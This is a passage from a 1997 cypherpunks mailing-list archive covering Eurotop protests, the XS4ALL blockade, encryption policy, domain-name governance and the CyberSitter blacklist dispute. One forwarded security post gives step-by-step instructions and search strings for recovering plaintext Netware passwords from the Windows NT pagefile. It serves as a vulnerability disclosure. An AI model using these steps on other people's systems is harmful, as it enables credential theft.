  will be made behind closed doors by impenetrable power structures.
  This tiny group of national leaders will give all power to
  capitalism and at the same time all possibilities for democratic
  alternatives will be dismantled. This process will be helped along
  by increasing levels of control, both internal and at the external
  borders of Europe. 


 The heads of state have big ideas for this European conference. They
 want to formulate the Treaty of Amsterdam, or Maastricht 2, a
 rewriting of the European Union treaty that was signed in 1992. In
 this treaty they want to abolish the right of veto for national
 cabinets and bring in new laws for foreign policy, judiciary and the
 police.

  The Eurotop is a blessing for Amsterdam's council. They will get the
  chance to rid the city of its image as a Sodom and Gomorrah full of
  slums, drugs and the sex industry and will instead be able to
  present the city as a respectable economically sound international
  city. In order to present this image to the government leaders and
  to ensure that the conference runs smoothly there will be thousands
  of extra police officers bought into Amsterdam and a large part of
  the city will be made into security zones. In these security zones
  people will be required to prove their identity and the streets will
  be 'cleared' of the homeless, illegal immigrants and other
  'undisirable elements'. A view of the future perhaps?

  Fortunately there are a lot of people and organisations who are
  discontented with these plans and intend to show their disgust and
  carry out acts of resistance during the conference.

  People from other countries and cities are of course welcome. We
  have already planned a number of actions and events that will take
  place between the 12th and 17th of June. Here we have an incomplete
  list of events. These actions will be organised by a broad spectrum
  of progressive groups and individuals. Therefore each group is
  responsible for its own plans. The actions have been planned taking
  other groups and events into consideration, but it has been decided
  that there will be no 'central comitee' to organise everything.
  There will remain plenty of room for other spontaneous occurences.
  During the conference there will be a number of 'info points' in
  Amsterdam where people will be able to obtain information about what
  is happening. The addresses of these points is not available at this
  moment but can be obtained from our address after 1st May. We are
  unable to arrange sleeping places for everybody, you will have to do
  that yourself (or arrange thast people can come and stay with you!)
  Individual actions and initiatives are welcome, so that we will be
  able to show in all manner of ways that we are not happy with the
  current policies of the EU but want a different and more just world.

It promises to be a long hot summer.

AN INCOMPLETE LIST OF ACTIVITIES THAT WILL TAKE PLACE DURING THE
EUROTOP IN AMSTERDAM.

14-6 Demonstration against unemployment, poverty and                  
 exploitation. 
          From mid- April thousands of people will be marching to     
                Amsterdam from various different countries. These     
                      marches will meet in Amsterrdam on the 14th as a
                            demonstration against EU policy.

11-6/17-6 Top from the bottom.
          "Platform for another Europe', a collaboration of various
          progressive groups will be organising discussions, actions
          and theme days. This will be in the form of an alternative
          top with speakers from different countries. There will be
          workshops about unemployment, poverty, social injustice,
          feminist Europe, Europe and the south, Ecological Europe and
          so on.

15-6  Demonstration/Action at the Border Hostel. 
      The Autonomous Centre will probably organise a cycle
      demonstration through the city which will end up at the prison
      for refugees in south east Amsterdam. Exact details of this
      action will be publicised later.

13-6/15-6 Chaos Days. 
       Punks will be gathering in Amsterdam to turn the city upside
       down.

15-6  Demonstration at the Homomonument.
      A demonstration against the verdict of the European court that
      England is alloewd to make voluntary SM sexual practises
      illegal. This will take place under the slogan "Sexual diversity
      in Europe". Organised by Stichting Gala.

12-6/13-6 United Conference.
          The biggest NGO gathering of the European Year Against
          Racism. The themes of this will be "Fortress Europe",
          "Everyday racism" and "Institutional Racism", there will be
          speakers from various countries. This will be held in
          English.

16-6 Eurorave.
     LegalizE street party against the European drugs policy "and the
     other shit that they have got planned for us."

17-6 Euroblow 
     A massive smoke-in at the Nederlandsche Bank as a protest against
     the European drugs policy.

17-6 Autonomous demonstration at the Nederlandsche Bank.
     Angry people wearing balaclavas in a tearing hurry to get to the
     Nederlandsche bank. Meeting point 14-00hours at the Dam.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Felipe Rodriquez <felipe@xs4all.nl>
Date: Thu, 24 Apr 1997 01:44:42 -0700 (PDT)
To: announce@xs4all.nl (announce)
Subject: Effective blockade on the Internet impossible (AP newswire)
Message-ID: <199704240838.KAA28541@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


This was was sent in Germany on tuesday, i got the translation today:

"Effective blockade on the Internet impossible" 

Frankfurt/M, April 22 (AP)
Effectively barring information of a certain kind from
the Internet is not possible. That is the outcome of a week 
long blockade by Deutsche Forschungsnetz (DFN) of the Dutch
Internet provider XS4ALL (meaning Access for All), which was
lifted Monday evening.
"It has been demonstrated that an effective blockade of
illegal information has not been within the bounds of
possibility" said DFN spokesman Klaus)Eckart Maass to AP news
agency last Tuesday. Other Web servers, according to Mr Maass,
have set up mirror sites of the online edition of the
underground magazine "Radikal", published via XS4ALL, that 
is, it has been copied and been made accessible to the public.
But this  only served to put "Radikal" really in the picture.
Besides, he had been faced with a flood of protest and abuse
from the Internet, Mr Maass said. "Maintaining the blockade
was not feasible."

With their measure of 11 April, DFN responded to a letter
from the Federal Criminal Investigation Department, pointing
out the illegal contents of the magazine. Issue no. 154 of the
radical left wing magazine contains a "Short Guide to
hindering railway transports of all kinds" a manual
describing how attacks can be made on the tracks on which the
nuclear waste transports to Gorleben take place. On account of
the Telecoms Bill, which received its second reading in the
federal parliament on Friday, he is obliged to bar access to
material on the Internet as soon as he learns of any illegal
contents, Mr Maass explained, provided this is technically
feasible.

Protests from Serbia's opposition broadcasting station B92

As suppressing separate Web)pages is technically not
possible, DFN cut off all access to the Dutch provider, which
offers more than 6,000 different information sites among
which those of Serbian opposition broadcasting station B92 and
several others in the scientific field. "I cannot undertake
anything that hampers scientific developments", said Mr Maass.
Three DFN users complained they were no longer able to reach
archeological and other information at XS4ALL. DFN, to which
all German universities are connected, is used by about
500,000 users to obtain access to the Internet. Protests also
came from B92, as the broadcasting station found its efforts
to further the cause of democracy in Serbia thwarted by the
blockade.
In September of last year several commercial Internet
providers had already blocked XS4ALL temporarily out of
concern, so they said, that the measures taken by the law
could take on such dimensions as would endanger their very
existence. This action gave rise to fierce protests on the
Internet, but also caused XS4ALL to remove issue 154 of
"Radikal" from the server temporarily. It has not come to that
during this recent blockade.
Speaking out on the renewed blockade, XS4ALL said they were 
surprised, stating that censoring measures on the
Internet had repeatedly proved to be counter productive. "As a
provider we take the position that we cannot curtail freedom
of opinion", XS4ALL spokesman Felipe Rodriquez-Svensson said. 
If there are doubts about the legitimacy of "Radikal" in the
Netherlands, they should be settled in a Dutch court.






-- 
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 24 Apr 1997 09:36:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New Crypto Panel
Message-ID: <1.5.4.32.19970424163437.006df544@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption; 
Notice of Establishment

    The Secretary of Commerce has determined that the 
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in 
connection with the performance of duties imposed on the 
Department by law.

    The Subcommittee will advise the Secretary, through the 
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption 
policy that will support the growth of commerce while 
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members 
to be appointed by the Secretary to assure a balanced 
representation among the exporting community and those 
Government agencies with a mandate to implement policy 
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding 
the establishment of the Subcommittee to Lee Ann Carpenter, 
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of 
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone: 
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 24 Apr 1997 10:31:55 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] NT Displays Plain-Text Netware Passwords (fwd)
Message-ID: <Pine.SUN.3.91.970424133354.16568D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 01:37:49 -0500
From: Patrick Hayden <patrick.hayden@ibm.net>
To: ntsecurity@iss.net
Subject: [NTSEC] NT Displays Plain-Text Netware Passwords

Windows NT 4.0, with Microsoft's Client Services for Netware, or
Novell's IntraNetware Client for Windows NT, writes plain-text user-id
and password information to PAGEFILE.SYS.  The user-id and password
apply to Netware, however, users commonly use the same logon information
for both NT and Netware.  It is possible to then recover the plain-text
information by using a disk editor.

Tests have been performed  (with more pending) on these systems:

Windows NT Workstation 4.0 w/SP1 and IntraNetware Client for NT (970214)
     Pent. 133 Laptop  24MB RAM  50MB PAGEFILE.SYS
Windows NT Workstation 4.0 w/SP1 and Microsoft Client Services for
Netware
     Dual Pent 166   64MB RAM  80MB PAGEFILE.SYS
Novell Netware 4.11 Server

1.  Set /MAXMEM=12 in BOOT.INI so as to force swapping.
2.  Load NT; Authenticate to NT and Netware (I used the same ID and
Password for both systems.); Verify connection by mapping a drive.
3.  To ensure that sufficient swapping takes place, run a large program
(this forces the user-id and password information stored in RAM to be
placed into PAGEFILE.SYS.)
4.  Exit NT; Boot to DOS; diskedit PAGEFILE.SYS
5.  Search for one of the following strings (do NOT include the ""
items):

 IntraNetware Client:   
     NWUserName="user-id"
     WlMprNotifyPassword="password"
     "UserName"    (if the username is alone, the password will follow
very closely)

 Client Services for Netware
     nwcs"password"    (the password is all CAPS and will immediately
follow nwcs)

In a "real-life" environment, most likely there will be enough swapping
on the system that setting the /MAXMEM switch will be unnecessary.  The
switch is only to help confirm that this hole exits.

If anyone has any knowledge of this, please post it to the list.

Patrick Hayden
Security Consultant - Ernst & Young, LLP
patrick.hayden@ibm.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 11:18:28 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Generic announcement
In-Reply-To: <19970422183723.30130@bywater.songbird.com>
Message-ID: <v03007802af854c2938f7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:37 PM -0700 4/22/97, Kent Crispin wrote:
>This is from a story on Top Level Domain Names.  Seems like it could apply
>to anything:
>
>"In Washington DC, officials from the White House, federal agencies and
>Congress say regulations may be necessary to promote a free-market
>system. A White House inter-agency taskforce was due to meet last
>week, after CWI's press deadline, to discuss the matter."

Here's an article I wrote about this last week. The White House interagency
task force, under OSTP, has met twice already.

-Declan

*******

Date: Wed, 16 Apr 1997 11:36:07 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Domain name disputes, Network Solutions, and the FCC

*****************

http://cgi.pathfinder.com/netly/opinion/0,1042,847,00.html

The Netly News
http://netlynews.com/

April 16, 1997
by Declan McCullagh  (declan@well.com)

        Don Telage, the president of Network Solutions -- the company
   that oversees Internet domain-name registration -- wants the
   government to seize control of your Net address. "The FCC should
   assume interim authority" over domain names, he argues. "These
   functions need to be institutionalized."

        Telage says that unless the FCC steps in, a plan to add new
   top-level domains such as .firm and .nom will bewilder netizens, spark
   disruptive lawsuits and threaten the "fragile stability of the Net."
   He proposes that the federal government nix additional top-level
   domains for now, then pick a contractor to deal with them (perhaps
   Telage's own firm, Network Solutions).

        And so the battle lines were drawn earlier this week between a
   proposal granting the FCC jurisdiction over the Net and the
   International Ad Hoc Committee's (IAHC) plan to create a Swiss
   organization to rule cyberspace -- with the backing of the Internet
   Society, the U.N., the World Intellectual Property Organization and
   the International Telecommunication Union. Important members of the
   high-tech community, including UUNET and MCI, have endorsed the IAHC
   plan, but Network Solutions hopes to muster support for its
   counterproposal from within the Beltway. Both sides agree that the Net
   is choking under the clogged .com domain, but they disagree on how to
   answer these questions: Who gets to sell additional top-level domains,
   what will they be and who controls the process?

        At stake, the contenders claim, is nothing less than the future
   of the Internet. Network Solutions' proposal, unveiled on Monday at a
   Federal Networking Council Advisory Committee meeting, is only the
   latest offensive in the increasingly bitter war over who controls the
   three-letter suffixes that identify organizations. These databases
   have quickly become hot property: Thanks to its government-granted
   monopoly, Network Solutions raked in up to $100 million last year.
   That turned heads. Gold rush fever spread to the would-be profiteers
   at Image Online Design, who last year thought they'd get rich quick by
   claiming exclusive ownership of the ".web" top-level domain. (They
   failed. They're suing.)

        Which amply demonstrates one thing: The informal, cooperative
   gentleman's agreement that served the Net so well during its
   not-for-profit infancy no longer works. This growing realization marks
   the end of the old Internet and the arrival of the new. No longer can
   Jon Postel, a little-known but highly trusted network guru, run the
   Internet Assigned Numbers Authority (IANA) and decide what top-level
   domains should exist. Not only is he being battered by lawsuits, what
   happens if he drops dead tomorrow? I don't mean to be morbid here, but
   this is important stuff in high-powered telecom circles: The Federal
   Networking Council's Advisory Committee took time this week to
   seriously contemplate the "Jon Postel getting hit by a beer truck"
   scenario.

        The roots of the current controvery stem from when Network
   Solutions won an exclusive contract from the National Science
   Foundation to maintain the InterNIC database. After the company
   started charging for domain names registration in 1995, netizens
   started to complain. "The community has given us incredibly powerful
   pushback that they don't like the lack of competition," says Perry
   Metzger, a member of IAHC and the president of a New York consulting
   firm.

        The IAHC proposal aimed to fix that problem by allowing other
   private-sector registrars to compete under rules created in Geneva.
   Yet its critics say more guidance is needed from the U.S. government.
   "There needs to be some sort of nominal governmental action or
   responsibility to provide a mechanism for the industry to meet and not
   run afoul of antitrust laws," says Tony Rutkowski, former head of the
   Internet Society and now a leading critic of the organization. In
   other words, it's time for the federal government to expropriate what
   it created.

        Now, if there's a sure-fire way to get federal officials
   twitching to regulate, it's an industry appearing divided and in need
   of help. "What happens when the notion of industry self-regulation
   fails? What does the government do? Do we have to come in and clean up
   afterwards?" one Clinton administration official asked me recently.
   Sure enough, last month a White House interagency committee formed.
   The goal: to decide what the U.S. government should do with domain
   names. "We're collecting information. We're collecting advice," says
   Glenn Schlarmann from the White House Office of Management and Budget.
   "The FCC probably has a role. The Patent and Trademark Office probably
   has a role. The government traditionally has been the guardian of
   public interest." (Of course, other countries may have a different
   idea of "public interest" and may take a very dim view of the U.S.
   seizing control.)

        Even some high-tech firms hardly known for their willingness to
   cozy up to regulators quietly welcome this move as a way to stabilize
   the Net. Right now, it's vulnerable not only to beer trucks hitting
   Jon Postel, but also, more disturbingly, to claims under antitrust
   laws. That's exactly what a lawsuit filed last month in New York is
   arguing. PGP Media's complaint claims that Network Solutions "has
   conspired" to head off "competition in the domain name registration
   market."

        Now, PGP Media may have a reasonable claim under antitrust laws
   -- but if the suit succeeded, it would spell disaster for the Net. PGP
   Media wants to create an unlimited number of top-level domains, but
   the Net can only handle a few hundred. Tony Rutkowski suggests the FCC
   as a way out. The IAHC plan suggests WTO and the ITU.

        My own suggestion is to steer clear of both bureaucrats and
   Eurocrats. Instead, netizens should ask the U.S. Congress to pass a
   law exempting the Internet from dusty, century-old antitrust laws.
   Where's the Congressional Internet Caucus when we need it?

###


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 24 Apr 1997 07:30:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Net is Closing, the U.S. is becoming a Terror State
In-Reply-To: <v03020980af85122ccc27@[139.167.130.246]>
Message-ID: <199704241430.QAA02081@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> > [I sent this several hours ago, and it has not appeared at my site. I am
> > sending it again. My impression, based on the past some weeks, is that
> > cyberpass.net is an unacceptable replacement for toad.com.]
> 
> I have found that subscribing to cypherpunks@sirius.infonex.com (it's
> majordomo) works just fine.

Tim's message was delayed for a few hours. The impatient may want to
subscrive to cypherpunks@algebra.com (also majordomo).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 16:33:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cato forum on liquor advertising and electronic media
Message-ID: <Pine.GSO.3.95.970424163313.23480J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 16:32:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Cato forum on liquor advertising and electronic media

It was about a year ago when I wrote that just about every Federal agency
was scheming to regulate the Net. I take no pleasure in saying I was
right: we've seen agencies from the FDA to the FTC to the PTO try to grab
a piece of cyberspace. Indeed, last Friday at an Internet Caucus briefing,
FTC Commissioner Christine Varney said new regulations and laws were
necessary; she predicted FTC regulations would be forthcoming later this
year. 

The Center for Media Education is trying to accelerate this process. In a
fearmongering report earlier this year, the group demanded that a slew of
government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
"urgent agction" to "protect" America's children from tobacco and liquor
advertising online.

Sound familiar? It should. Net-nemesis Sen. Exon and conservative
activists like Bruce Taylor and Donna Rice-Hughes trotted out the same
lines two years ago when arguing for the Communications Decency Act.

The Cato Institute is holding a forum next month on just this issue.
Attached is the announcement and an excerpt from the CME report.

-Declan

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 10:44:06 -0400 (EDT)
From: Robin Hulsey <rhulsey@cato.org>

The Cato Institute invites you to a Policy Forum

Liquor Advertising and the Electronic Media

featuring

Fred Meister
Distilled Spirits Council of the United States

Dan Troy
Wiley, Rein & Fielding

Sam Kazman
Competitive Enterprise Institute

Heather Mizeur
Rep. Joseph Kennedy

Tom Howarth *
Mothers Against Drunk Driving

	For years makers of "hard" liquor refrained from advertising their products
over radio and television, but last year some companies began doing so.
Some companies have also established an advertising presence on the
Internet.  Is this free speech protected by the First Amendment, or is it a
new health threat that should be subject to regulation?

Tuesday, May 6, 1997
4:00 - 5:30 p.m.
(Reception to follow)
Cato Institute
1000 Massachusetts Avenue NW
Washington, DC 20001

To register, news media please call Robin Hulsey at (202) 789-5293 or E-mail
to rhulsey@cato.org. 

* invited


****************

Excerpt from:

Center for Media Education Report
http://tap.epn.org/cme/execsum.html

Alcohol and Tobacco on the Web:
New Threats to Youth
Executive Summary


        The combination of these new Web marketing
	technologies gives marketers of alcohol and tobacco
	an arsenal of powerful new weapons. Urgent action
	is needed to ensure that effective safeguards are
	put in place to protect young people from the
	harmful effects of online marketing of alcohol and
	tobacco. Because of the unique nature of the
	interactive media, many of these new forms of
	advertising, of particular appeal to youth, appear
	to be inherently unfair and deceptive. Some of these
	practices may already be violating the law.

        The Cigarette Act, which has since 1971 kept
	advertising of cigarettes off radio and television,
	applies to "any medium of electronic communication
	subject to the jurisdiction of the Federal
	Communications Commission" and thus would be
	applicable to the Internet as well. The alcohol
	industries have not been subjected to the same kinds
	of legal barriers to advertising as tobacco.
	However, all advertising, including online
	advertising, is subject to the current laws against
	deceptive, unfair, or other illegal practices.

[...]


        Among the recommendations for action, the Center for
	Media Education calls for the following steps to
	combat the online promotion of alcohol and tobacco
	products to young people:

 1. Congress should conduct hearings on the online
	marketing of alcohol and tobacco to the nation's
	children.

 2. The Federal Trade Commission should use its
	authority over unfair and deceptive advertising to
	immediately launch an investigation into these
	practices. The FTC should also expand its current
	inquiry on online privacy to include alcohol and
	tobacco marketing data-collection practices.

 3. The Food and Drug Administration should carefully
	monitor online tobacco promotion developments and
	develop any additional safeguards needed to protect
	youth that are not already covered by the Cigarette
	Act.

 4. Federal agencies responsible for the public health,
	including the National Cancer Institute and the
	Centers for Disease Control, should examine the
	implications for public health of online marketing
	of alcohol and tobacco products.

 5. The national public health community, including
	professional medical organizations, should launch
	initiatives to educate their members and the public
	about this issue.

 6. The international health community, including the
	World Health Organization, should launch similar
	inquiries. Special attention should be given to the
	negative consequences of new media marketing in the
	developing world. The U.S. should play a leadership
	role in the international arena to create effective
	global safeguards.

 7. Parents and educators should help educate our
	nation's youth about these new dangers. They should
	establish policies in the schools to limit exposure
	of underage youth to these sites.

 8. Alcohol industries should abide by their own
	self-regulatory codes and stop targeting youth in
	all media, including online.

 9. Cigarette companies should refrain from moving onto
	the Internet to market and promote their products.
	If companies fail to comply with the Cigarette Act,
	appropriate legal action should be taken.

###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 15:46:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
Message-ID: <v03007805af8593125b9e@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


X-POP3-Rcpt: declan@relay.pathfinder.com
X-Sender: declan@mail.pathfinder.com
Mime-Version: 1.0
Date: Thu, 24 Apr 1997 18:17:09 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

Encryption is again bubbling to the surface of Washington politics. Today
the Department of Commerce announced that it was creating a new committee
to advise it on crypto-issues. A department official told me it would be
composed of "businesses that export encryption," and interested parties
have 15 working days to file comments. A way for the White House to split
industry opposition and persuade high tech firms to buy into key escrow?
Hmm...

On the Hill, crypto legislation that would lift export controls is about to
advance farther than ever before. (Last fall, Sen. Exon killed any chance
that pro-crypto legislation had in the 104th Congress.) Rep. Bob
Goodlatte's crypto bill (SAFE) will move to subcommittee markup next
Tuesday at 2 pm in Rayburn 2237. After the full committee reports the bill,
it moves to the international relations committee. Sen. Conrad Burns also
would like to move forward with his Pro-CODE bill in May.

Problem is, Goodlatte's SAFE bill, which has about 70 cosponsors, does more
than just relax export controls and prohibit mandatory key escrow. It also
creates new criminal penalties for using encryption to further a criminal
act. Now, some say that it's innocuous -- and a good tradeoff for getting
export controls lifted -- but I'm not convinced. When encryption is
widespread and present in telephones, radios, cell phones, wireless modems,
web browsers, televisions, and maybe light switches, *any use* of any
electronic appliance will involve encryption. (Who wants a hacker playing
with your toaster?)

Remember that Maryland bill that would criminalize sending "annoying" or
"harassing" email? If the Goodlatte bill became law, Marylanders who signed
their messages with PGP or telnetted to local ISPs could be slammed with an
all-expenses-paid trip to the Federal pen for five years.

In other words, SAFE would turn state misdemeanors into Federal felonies.
This is not good.

A coalition of groups is sending a letter to Goodlatte tomorrow supporting
the bill but expressing concern over the criminalization provision.
Interested in signing on? Email David Sobel: sobel@epic.org.

-Declan

*****************

Security and Freedom Through Encryption (SAFE) Act (Introduced in the House)

`Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who willfully uses encryption in furtherance of the
commission of a criminal
       offense for which the person may be prosecuted in a court of
competent jurisdiction--

              `(1) in the case of a first offense under this section, shall
be imprisoned for not
              more than 5 years, or fined in the amount set forth in this
title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be
              imprisoned for not more than 10 years, or fined in the amount
set forth in this title,
              or both.'.


*****************

Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption;
Notice of Establishment

    The Secretary of Commerce has determined that the
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in
connection with the performance of duties imposed on the
Department by law.

    The Subcommittee will advise the Secretary, through the
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption
policy that will support the growth of commerce while
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members
to be appointed by the Secretary to assure a balanced
representation among the exporting community and those
Government agencies with a mandate to implement policy
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding
the establishment of the Subcommittee to Lee Ann Carpenter,
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone:
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.

[Thanks to JYA. --Declan]



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Apr 1997 16:20:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Censorware battle heats up; CyberSitter blacklist now public
Message-ID: <v03007807af8598419379@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


X-POP3-Rcpt: declan@relay.pathfinder.com
X-Sender: declan@mail.pathfinder.com
Mime-Version: 1.0
Date: Thu, 24 Apr 1997 18:43:35 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Censorware battle heats up; CyberSitter blacklist now public
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

You probably know about Brian Milburn. The irascible and foul-mouthed
president of Solid Oak Software, which sells CyberSitter censorware,
Milburn is best known for threatening journalists with criminal
prosecutions, blocking the web sites of his critics, and calling writers a
"trickle of piss." He's so obnoxious that even his fellow censorware
vendors distance themselves from him.

One of my articles about his exploits is at:
  http://cgi.pathfinder.com/netly/editorial/0,1012,453,00.html

Now he's on the warpath again. His latest target: one Bennett Haselton, a
college student and outspoken critic of CyberSitter's blocking policies.
(Milburn blocks the National Organization for Women and New York's
echo.com, among other university sites and Internet providers.)

Haseleton earlier this week posted a short DOS program that decrypts
CyberSitter's secret blacklist. Milburn was enraged. He accused Hasleton of
various crimes and today demanded that Haselton stop *linking* to
CyberSitter's pages.

Read on for more...

-Declan

*********

>Return-path: <bennett@www.media3.net>
>Date: Thu, 24 Apr 1997 09:59:10 -0700
>From: Brian Milburn <bmilburn@solidoak.com>
>Subject: Demand letter
>X-Sender: Brian Milburn
>To: bennett@peacefire.org
>Organization: Solid Oak Software, Inc.
>
>The following is a copy of a certified letter mailed to you on April 24, 1997.
>
>------------------------------
>
>Bennett Haselton
>Vanderbuilt University
>Box 1161, Station B
>Nashville, TN 37235
>
>Re: www.peacefire.org
>
>
>Dear Mr. Haselton:
>
>Please let this letter serve as notice of the following:
>
>1. You have posted a program on your web site called "CYBERsitter filter file
>codebreaker". This program illegally modifies and decodes data and source
>code
>protected by U.S. and International intellectual property laws.
>
>This program performs this action without permission of the copyright
owner. We demand
>that this program be removed immediately.
>
>2. You have placed links on your web site to various locations on servers
owned and
>operated by Solid Oak Software, Inc., a private corporation. These include,
but are
>not limited to, HTTP links, FTP links, and e-mail links and private e-mail
addresses.
>
>You have done this without permission of Solid Oak Software, Inc.  Further
use of
>these links to our private facilities will be viewed as trespassing and
intentional
>harassment. We demand that these links be removed immediately.
>
>Your failure to comply with these demands immediately upon receipt of this
letter will
>be met with appropriate action.
>
>
>Sincerely,
>Brian Milburn, President
>Solid Oak Software, Inc.
>
>
>
>____________________________________________
>
>Brian Milburn
>Solid Oak Software,Inc. - Santa Barbara, CA
>bmilburn@solidoak.com - CIS: 74774,551
>http://www.solidoak.com - CIS: "GO SOLIDOAK"
>

***********

http://www.wired.com/news/politics/story/3355.html

Teen Offers Way to Crack Blocking Software
by Rebecca Vesely

3:03pm 23.Apr.97.PDT A Tennessee college student has posted a software
program on the Web that can be used to decrypt a list of sites blocked
by the prominent blocking software Cybersitter. The company that makes
the program is furious, and an attorney versed in Net law says the
student could face legal action.

Bennett Haselton, co-founder of the teen Web site Peacefire, on Monday
posted a program that he wrote specifically to crack the "filter file"
that comes with Cybersitter. The 18-year-old junior at Vanderbilt
University says it took him two days to write the software. The filter
file is frequently updated by Solid Oak Software, the company that
owns Cybersitter, but was taken offline Tuesday by the company.

"He is violating every intellectual property law ever written," said
Solid Oak president Brian Milburn. "It costs us tens of thousands of
dollars to maintain that list. It's none of his business what is on
that list or what we do with it."

Milburn would not say whether the company planned to take legal
action, but did say that Solid Oak "does not condone any kind of crime."

A recent list of sites blocked by Cybersitter - pulled before the
company took the filter file offline - was posted anonymously to
Declan McCullagh's fight-censorship email discussion list Monday. The
decrypted file shows that while most of the sites blocked by
Cybersitter are pornographic in nature, a number are not.

Among the sites blocked by Cybersitter on Monday were Cyborganic
Gardens; the National Organization for Women; the Gay and Lesbian
Alliance Against Defamation; several regional ISPs; Peacefire; the
Ethical Spectacle, which has criticized Solid Oak's blocking
practices; and the chocolatier Godiva.

"I think they are misrepresenting their product," Haselton said. "It's
not just the fact that they are blocking Peacefire, it's that they are
violating truth-in-advertising practices."

Solid Oak says it blocks sites that focus on "topics such as adult or
sexual issues, illegal activities, bigotry, racism, drugs, or pornography...."

This is not Haselton's first run-in with Solid Oak.  In December, he
posted a list of Web sites blocked by Cybersitter, which at the time
included The Well and Mother Jones magazine.  Haselton maintained that
he got the partial list by surfing the Web with Cybersitter installed
on his computer. Solid Oak threatened to sue, saying that Haselton had
cracked into their computers to get the list, and also threatened to
block Peacefire's ISP, Media3. The company never acted on the threats.

But Haselton could now face prosecution for violating copyright
laws. He maintains that he skirted the law because he did not post the
list of blocked sites, just information on how to access the list. He
also noted that he accessed the Cybersitter list using an old version
of the software that does not carry a copyright warning.

However, one lawyer said she wasn't sure Haselton's reasoning will
hold up if the case goes to court.

"[Solid Oak] went to the trouble of compiling the list. From a
competitive standpoint, someone else could use Haselton's software to
get the list and start their own blocking software company," said
Shari Steele, staff counsel for the Electronic Frontier
Foundation. "There is an ownership interest here."

Steele said that although someone who used the list for competitive
